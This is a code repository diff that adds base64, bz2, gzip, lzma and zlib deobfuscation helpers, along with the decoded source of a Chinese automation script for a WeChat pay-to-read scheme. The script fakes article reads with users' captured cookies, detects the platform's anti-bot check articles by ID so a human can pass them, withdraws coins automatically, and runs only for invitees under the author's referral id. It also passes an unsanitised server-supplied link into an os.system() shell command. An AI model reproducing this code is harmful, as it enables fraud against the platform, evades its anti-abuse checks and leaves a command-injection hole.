||||
print(f"❗网络异常,获取通知时出错: {e}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
notice()
|
||||
accounts = os.getenv("xyy")
|
||||
money_Withdrawal = 0 if os.getenv("xyytx", "0") == "0" else 1
|
||||
UA = os.getenv("UA"); None if UA is not None else (print("❗未找到变量UA", flush=True), exit())
|
||||
if accounts is None: print("❗未找到变量xyy", flush=True); exit()
|
||||
else:
|
||||
accounts_list = accounts.split("@")
|
||||
num_of_accounts = len(accounts_list)
|
||||
print(f"\n获取到 {num_of_accounts} 个账号", flush=True)
|
||||
for i, account in enumerate(accounts_list, start=1):
|
||||
process_account(account, i)
|
||||
20
decode/base64_decrypt.py
Normal file
20
decode/base64_decrypt.py
Normal file
@@ -0,0 +1,20 @@
|
||||
import base64
|
||||
|
||||
def decrypt(encoded_code):
|
||||
return base64.b64decode(encoded_code).decode('utf-8')
|
||||
|
||||
# 替换为实际的Base64编码字符串
|
||||
encoded_code = ""
|
||||
|
||||
decrypted_code = decrypt(encoded_code)
|
||||
|
||||
|
||||
print("解密后的代码:")
|
||||
print(decrypted_code)
|
||||
|
||||
# 保存到文件以便查看
|
||||
with open('decoded_source.py', 'w', encoding='utf-8') as f:
|
||||
f.write(decrypted_code)
|
||||
print("\n源代码已保存到 decoded_source.py")
|
||||
# 如果需要执行解密后的代码(谨慎操作)
|
||||
# exec(decrypted_code)
|
||||
32
decode/decodedBz2.py
Normal file
32
decode/decodedBz2.py
Normal file
@@ -0,0 +1,32 @@
|
||||
import bz2
|
||||
import base64
|
||||
|
||||
# 提取并解码base64部分
|
||||
encoded_data = ""
|
||||
# 解密
|
||||
# 解密 bz2.decompress(base64.b64decode("xxx")))
|
||||
try:
|
||||
# 解码base64
|
||||
decoded_data = base64.b64decode(encoded_data)
|
||||
|
||||
# 解压缩bz2
|
||||
decompressed_data = bz2.decompress(decoded_data)
|
||||
|
||||
# 转换为字符串并打印
|
||||
source_code = decompressed_data.decode('utf-8')
|
||||
print("解密后的源代码:")
|
||||
print(source_code)
|
||||
|
||||
# 保存到文件以便查看
|
||||
with open('decoded_source.py', 'w', encoding='utf-8') as f:
|
||||
f.write(source_code)
|
||||
print("\n源代码已保存到 decoded_source.py")
|
||||
|
||||
except Exception as e:
|
||||
print(f"解密过程中出错: {e}")
|
||||
#
|
||||
# import bz2, base64, zlib, lzma
|
||||
#
|
||||
# exec(bz2.decompress(base64.b64decode(
|
||||
# )))
|
||||
#
|
||||
37
decode/decodedGzip.py
Normal file
37
decode/decodedGzip.py
Normal file
@@ -0,0 +1,37 @@
|
||||
import base64
|
||||
import gzip
|
||||
|
||||
# 将这里的 "xxx" 替换为实际的 base64 编码字符串
|
||||
encoded_data = ""
|
||||
|
||||
|
||||
# 解密 lzma.decompress(base64.b64decode("xxx")))
|
||||
try:
|
||||
# 解码 base64
|
||||
decoded_bytes = base64.b64decode(encoded_data)
|
||||
|
||||
# 解压缩 lzma
|
||||
decompressed_data = gzip.decompress(decoded_bytes)
|
||||
|
||||
# 尝试以 UTF-8 编码转换为字符串
|
||||
try:
|
||||
decoded_text = decompressed_data.decode('utf-8')
|
||||
print("解密后的内容 (UTF-8):")
|
||||
print(decoded_text)
|
||||
except UnicodeDecodeError:
|
||||
# 尝试以 GBK 编码转换为字符串
|
||||
try:
|
||||
decoded_text = decompressed_data.decode('gbk')
|
||||
print("解密后的内容 (GBK):")
|
||||
print(decoded_text)
|
||||
except UnicodeDecodeError:
|
||||
print("无法以常见编码方式解码为文本,显示原始字节数据:")
|
||||
print(decompressed_data)
|
||||
|
||||
# 保存解密后的内容到文件
|
||||
with open('decoded_gzib_content.txt', 'wb') as f:
|
||||
f.write(decompressed_data)
|
||||
print("\n解密内容已保存到 decoded_gzib_content.txt")
|
||||
|
||||
except Exception as e:
|
||||
print(f"解密过程中发生错误: {e}")
|
||||
35
decode/decodedLzma.py
Normal file
35
decode/decodedLzma.py
Normal file
@@ -0,0 +1,35 @@
|
||||
import base64
|
||||
import lzma
|
||||
|
||||
# 将这里的 "xxx" 替换为实际的 base64 编码字符串
|
||||
encoded_data = ""
|
||||
# 解密 lzma.decompress(base64.b64decode("xxx")))
|
||||
try:
|
||||
# 解码 base64
|
||||
decoded_bytes = base64.b64decode(encoded_data)
|
||||
|
||||
# 解压缩 lzma
|
||||
decompressed_data = lzma.decompress(decoded_bytes)
|
||||
|
||||
# 尝试以 UTF-8 编码转换为字符串
|
||||
try:
|
||||
decoded_text = decompressed_data.decode('utf-8')
|
||||
print("解密后的内容 (UTF-8):")
|
||||
print(decoded_text)
|
||||
except UnicodeDecodeError:
|
||||
# 尝试以 GBK 编码转换为字符串
|
||||
try:
|
||||
decoded_text = decompressed_data.decode('gbk')
|
||||
print("解密后的内容 (GBK):")
|
||||
print(decoded_text)
|
||||
except UnicodeDecodeError:
|
||||
print("无法以常见编码方式解码为文本,显示原始字节数据:")
|
||||
print(decompressed_data)
|
||||
|
||||
# 保存解密后的内容到文件
|
||||
with open('decoded_lzma_content.txt', 'wb') as f:
|
||||
f.write(decompressed_data)
|
||||
print("\n解密内容已保存到 decoded_lzma_content.txt")
|
||||
|
||||
except Exception as e:
|
||||
print(f"解密过程中发生错误: {e}")
|
||||
37
decode/decodedZlib.py
Normal file
37
decode/decodedZlib.py
Normal file
File diff suppressed because one or more lines are too long
BIN
decode/decoded_gzib_content.txt
Normal file
BIN
decode/decoded_gzib_content.txt
Normal file
Binary file not shown.
540
decode/decoded_zlib_content.txt
Normal file
540
decode/decoded_zlib_content.txt
Normal file
@@ -0,0 +1,540 @@
|
||||
"""
|
||||
📖 小阅阅_V5.5 ♻20250813
|
||||
|
||||
✅ 新增:支持多渠道推送,请在青龙配置文件 config.sh 中添加必要的推送参数,并将变量中的token参数设置为000(详见下方参数说明)。(建议使用脚本自带pushplus推送,更稳定)。
|
||||
✅ 完善检测文章。
|
||||
✅ 修改bug,完善多渠道推送。
|
||||
|
||||
🔔阅读赚金币,金币可提现,每天1—2元,本脚本自动推送检测文章到微信,需要用户手动阅读过检测,过检测后脚本自动完成剩余任务,不需要下载app,在微信打开下方链接即可进入到活动页。(打开活动页时请无视微信的安全提示)
|
||||
|
||||
👉活动入口 微信打开:http://2121430.k4f1.sanming0.cn/yyiyase/f56fb7c54f55edd1b77d23b3577da92b?ukd=88 备用链接:https://tinyurl.com/5t3yhsfm https://tinyurl.com/2tc96zpc 最新地址获取:https://tinyurl.com/27y64eve
|
||||
|
||||
👉建议将链接添加至微信收藏(微信_我_收藏_⊕_粘贴),并添加到悬浮窗,方便进入活动主页。
|
||||
|
||||
⚠️进入后点击永久入口,保存二维码,当链接失效时扫码获取最新链接!
|
||||
|
||||
⚠️本脚本会通过(pushplus推送加或其他渠道)发送检测文章到用户手机过检测。为什么要读检测文章?因为活动方要通过个别检测文章阅读数的增加来判断用户阅读的有效性,所以必须真机阅读,脚本的模拟阅读不会增加阅读数。每个账号每天180篇中可能有3篇左右的检测文章。
|
||||
|
||||
⚠️用于阅读检测文章的微信号,每天运行脚本前务必从公众号(订阅号)阅读两篇文章,否则可能会触发微信风控,导致阅读无效过检测失败。禁止用真机+自动点击器阅读,否则同样触发微信风控,导致阅读无效。(当触发微信风控导致阅读无效后可能要几周或几个月解封,期间可以将检测文章推送至其他微信号过检测)
|
||||
|
||||
⚠️收到消息不弹窗?在pushplus回复“激活消息”将在48小时内连续5条消息以“客服消息”形式发送,此时可以收到微信弹窗提醒,否则将以“模板消息”形式发送消息,此时只有在微信主页或pushplus主页才能收到消息提醒。(详情点击“激活消息有什么用?”)。🔔当收到5条(客服消息)形式弹窗后重新发送“激活消息”可再次激活(客服消息)。
|
||||
|
||||
⚠️如微信没有接收到检测文章消息或消息延迟,可以把链接粘贴到微信的“文件传输助手”或“收藏”再点击阅读!
|
||||
|
||||
❗❗❗重要提示:本脚本只限新用户通过上方链接绑定指定id使用,或老用户上级id尾号为4981,其他非受邀用户均不可使用。
|
||||
|
||||
❗❗❗期间要时常用真机访问活动主页并阅读,同时每天任务不建议跑满,避免被活动方查出异常封号!
|
||||
|
||||
参数:
|
||||
1、用“pushplus推送加”接收检测文章,微信公众号关注“pushplus推送加”,点击pushplus进入到官网首页注册实名并激活消息,获取您的token口令填写到变量。
|
||||
2、打开抓包软件并用小阅阅读文章,抓出Cookie里的ysmuid和请求体里的unionid,以及请求头中的User-Agent参数。
|
||||
3、如果您使用其他平台作为推送渠道请将token参数设置为000,例:5a68xxx&oZdBpxxx&000。如果使用pushplus推送正常填写token参数即可。
|
||||
|
||||
变量名:xyy
|
||||
变量值:5a68xxxxxxx&oZdBpxxxxxxx&ff2cdxxxxxxx
|
||||
|
||||
变量格式:ysmuid & unionid & token
|
||||
多账号格式:ysmuid & unionid & token @ ysmuid & unionid & token
|
||||
|
||||
多账号:账号1@账号2@账号3
|
||||
例:5a68xxx&oZdBpxxx&ff2cdxxx@5a68xxx&oZdBpxxx&ff2cdxxx
|
||||
|
||||
变量名: UA (为请求头中的User-Agent参数)
|
||||
变量值:Mozilla/5.0 iPhonexxxxxxx
|
||||
|
||||
变量名:xyytx
|
||||
变量值:1
|
||||
自动提现 1开启 0关闭 (不配置变量默认不自动提现,开启后满5000金币自动提现)
|
||||
|
||||
定时:
|
||||
自动定时规则cron: 0 7-23/3 * * * (每天7-23点每3小时一次),期间注意接收微信通知,阅读检测文章
|
||||
手动定时规则cron: 0 手动运行脚本,期间注意接收微信通知,阅读检测文章
|
||||
|
||||
更多脚本关注仓库:https://wwgz.lanzoue.com/b0ec064he 密码:2580
|
||||
|
||||
本脚本仅供学习交流,请在下载后的24小时内完全删除 请勿用于商业用途或非法目的,否则后果自负。
|
||||
"""
|
||||
|
||||
import re
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import random
|
||||
import requests
|
||||
import threading
|
||||
from urllib.parse import urljoin
|
||||
from urllib.parse import urlparse
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
from requests.exceptions import RequestException
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
# 实时日志
|
||||
def log_message(message, flush=False):
|
||||
print(f"{message}", flush=flush)
|
||||
|
||||
# 主程序
|
||||
def process_account(account, i):
|
||||
max_retries = 1
|
||||
uas = account.split("&")[0][-3:]
|
||||
token = account.split("&")[2]
|
||||
ysmuid, unionid = account.split("&")[:2]
|
||||
# 获取域名
|
||||
current_url = requests.get("https://www.filesmej.cn/waidomain.php", timeout=5).json()["data"]["luodi"]
|
||||
session = requests.Session()
|
||||
headers = {
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
for _ in range(11):
|
||||
try:
|
||||
parsed = urlparse(current_url)
|
||||
headers["Host"] = parsed.netloc
|
||||
response = session.get(current_url, headers=headers, allow_redirects=False, timeout=10)
|
||||
if response.status_code in (301, 302, 303, 307, 308):
|
||||
current_url = urljoin(current_url, response.headers.get("Location", ""))
|
||||
else:
|
||||
break
|
||||
except (requests.RequestException, requests.exceptions.InvalidURL) as e:
|
||||
print(f"❗重定向错误: {e}", flush=True)
|
||||
break
|
||||
try:
|
||||
parsed_domain = urlparse(current_url).netloc.lstrip("www.")
|
||||
except Exception as e:
|
||||
print(f"❗域名获取失败: {e}", flush=True)
|
||||
# 上级id
|
||||
codeid = lambda: (
|
||||
(match.group(1) if (match := re.compile(r'codeid\s*=\s*"(\d+)"').search(
|
||||
requests.get(
|
||||
f"http://{parsed_domain}/?inviteid=0",
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
},
|
||||
timeout=10
|
||||
).text
|
||||
)) else print(f"❗警告:未找到codeid \n❗检查活动页面是否正常,切勿反复运行", flush=True))
|
||||
if not any([
|
||||
print(f"❗网络请求失败: {e}", flush=True) if isinstance(e, requests.RequestException) else
|
||||
print(f"❗正则错误: {e}", flush=True) if isinstance(e, re.error) else
|
||||
print(f"❗未知错误: {e}", flush=True) for e in [Exception][:0]
|
||||
]) else None
|
||||
)
|
||||
codeid = codeid()
|
||||
# 用户id
|
||||
extract_dynamic_id = lambda: (
|
||||
(match.group(1) if (match := re.compile(r'我的id:(\d+)').search(
|
||||
requests.get(
|
||||
f"http://{parsed_domain}/?inviteid=0",
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
},
|
||||
timeout=10
|
||||
).text
|
||||
)) else print("❗警告:未找到ID", flush=True))
|
||||
if not any([
|
||||
print(f"❗网络请求失败: {e}", flush=True) if isinstance(e, requests.RequestException) else
|
||||
print(f"❗正则错误: {e}", flush=True) if isinstance(e, re.error) else
|
||||
print(f"❗未知错误: {e}", flush=True) for e in [Exception][:0]
|
||||
]) else None
|
||||
)
|
||||
# 开始阅读
|
||||
print(f"\n{'=' * 10}🔰开始执行账号{i}🔰{'=' * 10}\n", flush=True)
|
||||
exit(print("❗您不是受邀用户,程序终止", flush=True)) if not codeid or int(codeid) not in {693874981} else print("👌 账号验证成功", flush=True)
|
||||
time.sleep(1)
|
||||
url = f"http://{parsed_domain}/yunonline/v1/gold"
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"http://{parsed_domain}/",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}; ejectCode=1"
|
||||
}
|
||||
params = {
|
||||
"unionid": f"{unionid}",
|
||||
"time": int(time.time() * 1000)
|
||||
}
|
||||
response = requests.get(url, headers=headers, params=params).json()
|
||||
if response["errcode"] == 0:
|
||||
day_gold = response["data"]["day_gold"]
|
||||
day_read = response["data"]["day_read"]
|
||||
last_gold = response["data"]["last_gold"]
|
||||
remain_read = response["data"]["remain_read"]
|
||||
print(f"🙍 ID:{extract_dynamic_id()}", flush=True)
|
||||
print(f"💰 当前金币:{last_gold}\n📖 今日已读:{day_read} 剩余:{remain_read}", flush=True)
|
||||
print("🔔 自动提现已关闭" if money_Withdrawal == 0 else "🔔 自动提现已开启", flush=True)
|
||||
print(f"{'=' * 10}📖开始阅读文章📖{'=' * 10}\n", flush=True)
|
||||
for i in range(33):
|
||||
current_timestamp = int(time.time() * 1000)
|
||||
checkDict = [
|
||||
"MzkzMTYyMDU0OQ==",
|
||||
"Mzk0NDcxMTk2MQ==",
|
||||
"MzkzNTYxOTgyMA==",
|
||||
"MzkzNDYxODY5OA==",
|
||||
"MzkwNzYwNDYyMQ==",
|
||||
"MzkyNjY0MTExOA==",
|
||||
"MzkwMTYwNzcwMw==",
|
||||
"Mzg4NTcwODE1NA==",
|
||||
"MzkyMjYxNzQ2NA==",
|
||||
"Mzk4ODQzNjU1OQ==",
|
||||
"MzkyMTc0MDU5Nw==",
|
||||
"Mzk5MDc1MDQzOQ==",
|
||||
"Mzk4ODQzNzU3NA==",
|
||||
]
|
||||
time.sleep(1)
|
||||
url = f"http://{parsed_domain}/wtmpdomain2"
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Origin": f"http://{parsed_domain}",
|
||||
"Referer": f"http://{parsed_domain}/?inviteid=0",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid};ejectCode=1"
|
||||
}
|
||||
data = {
|
||||
"unionid": unionid
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.post(url, headers=headers, data=data, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print(e, flush=True)
|
||||
if retry < max_retries - 1:
|
||||
print("❗状态1异常,尝试重新发送请求...", flush=True)
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗达到最大重试次数,退出", flush=True)
|
||||
break
|
||||
if response["errcode"] == 0:
|
||||
time.sleep(1)
|
||||
parsed_url = response['data']['domain']
|
||||
url_parts = urlparse(parsed_url)
|
||||
gt = parse_qs(url_parts.query).get('gt', [''])[0]
|
||||
new_url = f"{url_parts.scheme}://{url_parts.netloc}/sdaxeryy?gt={gt}&time={current_timestamp}&psgn=168&vs=120"
|
||||
headers = {
|
||||
"Host": f"{url_parts.netloc}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{url_parts.scheme}://{url_parts.netloc}/xsysy.html?{url_parts.query}",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Accept-Encoding": "gzip, deflate"
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.get(new_url, headers=headers, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print(e, flush=True)
|
||||
if retry < max_retries - 1:
|
||||
print("❗状态2异常,尝试重新发送请求...", flush=True)
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗达到最大重试次数,退出", flush=True)
|
||||
break
|
||||
if response["errcode"] == 0:
|
||||
link = response['data']['link']
|
||||
if link:
|
||||
biz_match = re.search(r'__biz=([^&]+)', link)
|
||||
biz = biz_match.group(1) if biz_match else "❗未知来源文章"
|
||||
sleep = random.randint(8, 25)
|
||||
delay = random.randint(120, 135)
|
||||
print(f"✅ 第{int(day_read)+ i + 1}篇文章获取成功---文章来源--- {biz}", flush=True)
|
||||
print(f"📖 开始阅读: {link}", flush=True)
|
||||
if biz == "❗未知来源文章" or biz in checkDict:
|
||||
print(f"❗❗❗发现检测文章--- {biz}", flush=True)
|
||||
if token == "000":
|
||||
config_ret = os.system("source /ql/config/config.sh")
|
||||
if config_ret != 0:
|
||||
print("⚠️ 错误:加载配置文件失败!")
|
||||
else:
|
||||
notify_cmd = f'notify "⚠️ 小阅阅检测文章!请在120s内完成阅读!" \'<a href="\n{link}\n"target="_blank">👉点击阅读8s以上并返回\n{link}\n\''
|
||||
notify_ret = os.system(notify_cmd)
|
||||
if notify_ret == 0:
|
||||
print("❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗120s后继续运行…", flush=True)
|
||||
else:
|
||||
print(f"❌ 通知发送失败,错误码: {notify_ret}")
|
||||
else:
|
||||
url = "http://www.pushplus.plus/send"
|
||||
data = {
|
||||
"token": token,
|
||||
"title": "⚠️ 小阅阅检测文章!请在120s内完成阅读!",
|
||||
"content": f'<a href="\n{link}\n"target="_blank">👉点击阅读8s以上并返回\n{link}\n',
|
||||
"template": "html"
|
||||
}
|
||||
for attempt in range(max_retries):
|
||||
try:
|
||||
response = requests.post(url, data=data).json()
|
||||
if response.get("code") == 200:
|
||||
print("❗❗❗检测文章已推送至微信,请到微信完成阅读…\n🕗120s后继续运行…", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗❗❗检测文章推送失败", flush=True)
|
||||
except Exception as e:
|
||||
print(f"❗❗❗推送请求异常:{str(e)}", flush=True)
|
||||
response = None
|
||||
if attempt < max_retries - 1 and (not response or response.get("code") != 200):
|
||||
print("❗❗❗正在尝试重新推送...", flush=True)
|
||||
time.sleep(3.5)
|
||||
else:
|
||||
print(f"❗❗❗推送失败原因:{response.get('msg')}", flush=True)
|
||||
exit()
|
||||
time.sleep(delay)
|
||||
url = f"{url_parts.scheme}://{url_parts.netloc}/jinbicp?gt={gt}&time={sleep}×tamp={current_timestamp}"
|
||||
headers = {
|
||||
"Host": f"{url_parts.netloc}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{url_parts.scheme}://{url_parts.netloc}/xsysy.html?{url_parts.query}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.get(url, headers=headers, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print('❗提交状态异常', flush=True)
|
||||
print(e)
|
||||
if response["errcode"] == 0:
|
||||
gold = response['data']['gold']
|
||||
print(f"✅ 第{i + 1}次阅读检测文章成功---获得金币:💰{gold}💰", flush=True)
|
||||
print(f"{'-' * 60}\n")
|
||||
else:
|
||||
print(f"❗❗❗过检测失败\n{response}", flush=True)
|
||||
break
|
||||
else:
|
||||
time.sleep(sleep)
|
||||
url = f"{url_parts.scheme}://{url_parts.netloc}/jinbicp?gt={gt}&time={sleep}×tamp={current_timestamp}"
|
||||
headers = {
|
||||
"Host": f"{url_parts.netloc}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{url_parts.scheme}://{url_parts.netloc}/xsysy.html?{url_parts.query}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
|
||||
}
|
||||
for retry in range(max_retries):
|
||||
try:
|
||||
response = requests.get(url, headers=headers, timeout=7).json()
|
||||
break
|
||||
except (ConnectionError, Timeout):
|
||||
if retry < max_retries - 1:
|
||||
time.sleep(2.5)
|
||||
continue
|
||||
else:
|
||||
print("❗网络异常退出", flush=True)
|
||||
break
|
||||
except Exception as e:
|
||||
print("❗提交状态异常", flush=True)
|
||||
print(e)
|
||||
if response["errcode"] == 0:
|
||||
gold = response["data"]["gold"]
|
||||
print(f"📖 本次模拟阅读{sleep}秒", flush=True)
|
||||
print(f"✅ 第{i + 1}次阅读成功---获得金币:💰{gold}💰", flush=True)
|
||||
print(f"{'-' * 60}\n")
|
||||
else:
|
||||
print(f"❗阅读文章失败,请尝试重新运行\n{response}", flush=True)
|
||||
break
|
||||
else:
|
||||
print("❗未找到link")
|
||||
elif response["errcode"] == 405:
|
||||
print(f"❗{response}", flush=True)
|
||||
print(f"❗请尝试重新运行", flush=True)
|
||||
break
|
||||
elif response["errcode"] == 407:
|
||||
if '<br />1、' in response["msg"]:
|
||||
first_part = response["msg"].split('<br />1、', 1)[0]
|
||||
first_rule = response["msg"].split('<br />1、', 1)[1].split('<br />')[0].strip()
|
||||
print(f"❗{first_part}", flush=True)
|
||||
print(f"❗{first_rule}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗{response['msg']}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"⚠️ 未知错误 {response['errcode']}: {response}", flush=True)
|
||||
break
|
||||
else:
|
||||
print(f"❗获取文章失败{response}", flush=True)
|
||||
break
|
||||
# 提现
|
||||
if money_Withdrawal == 1:
|
||||
if int(last_gold) > 5000:
|
||||
print(f"{'=' * 12}💰开始提现💰{'=' * 12}\n", flush=True)
|
||||
url = f"http://{parsed_domain}"
|
||||
headers = {
|
||||
"Host": f"{parsed_domain}",
|
||||
"Connection": "keep-alive",
|
||||
"Cache-Control": "max-age=0",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/tpg,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
|
||||
"X-Requested-With": "com.tencent.mm",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
response = requests.get(url, headers=headers).text
|
||||
res1 = re.sub('\s', '', response)
|
||||
exchangeUrl = re.findall('"target="_blank"href="(.*?)">提现<', res1)
|
||||
eurl = exchangeUrl[0]
|
||||
query_dict = parse_qs(urlparse(exchangeUrl[0]).query)
|
||||
unionids = query_dict.get('unionid', [''])[0]
|
||||
request_id = query_dict.get('request_id', [''])[0]
|
||||
b = urlparse(eurl)
|
||||
host=b.netloc
|
||||
url = f"http://{host}/yunonline/v1/gold"
|
||||
headers = {
|
||||
"Host": f"{host}",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"Referer": f"{eurl}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}; ejectCode=1"
|
||||
}
|
||||
params = {
|
||||
"unionid": f"{unionid}",
|
||||
"time": int(time.time() * 1000)
|
||||
}
|
||||
response = requests.get(url, headers=headers, params=params).json()
|
||||
if response["errcode"] == 0:
|
||||
last_gold = response["data"]["last_gold"]
|
||||
gold = int(int(last_gold) / 1000) * 1000
|
||||
url = f"http://{host}/yunonline/v1/user_gold"
|
||||
headers = {
|
||||
"Host": f"{host}",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{host}",
|
||||
"Referer": f"{eurl}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
data = {
|
||||
"unionid": unionids,
|
||||
"request_id": request_id,
|
||||
"gold": gold,
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=data).json()
|
||||
print(f"💰 当前可提现:{gold}", flush=True)
|
||||
url = f"http://{host}/yunonline/v1/withdraw"
|
||||
headers = {
|
||||
"Host": f"{host}",
|
||||
"Connection": "keep-alive",
|
||||
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||
"X-Requested-With": "XMLHttpRequest",
|
||||
"User-Agent": f"{UA} {uas}",
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"Origin": f"http://{host}",
|
||||
"Referer": f"{eurl}",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"ysmuid={ysmuid}"
|
||||
}
|
||||
data = {
|
||||
"unionid": unionids,
|
||||
"signid": request_id,
|
||||
"ua": "2",
|
||||
"ptype": "0",
|
||||
"paccount": "",
|
||||
"pname": ""
|
||||
}
|
||||
response = requests.post(url, headers=headers, data=data)
|
||||
data = response.json()
|
||||
if data["errcode"] == 0:
|
||||
print("💰 恭喜您,提现成功!\n", flush=True)
|
||||
else:
|
||||
print(f"❗{response}", flush=True)
|
||||
else:
|
||||
print(f"{'=' * 17}{'=' * 17}", flush=True)
|
||||
print("🔔 金币不足5000,不执行提现\n", flush=True)
|
||||
elif money_Withdrawal == 0:
|
||||
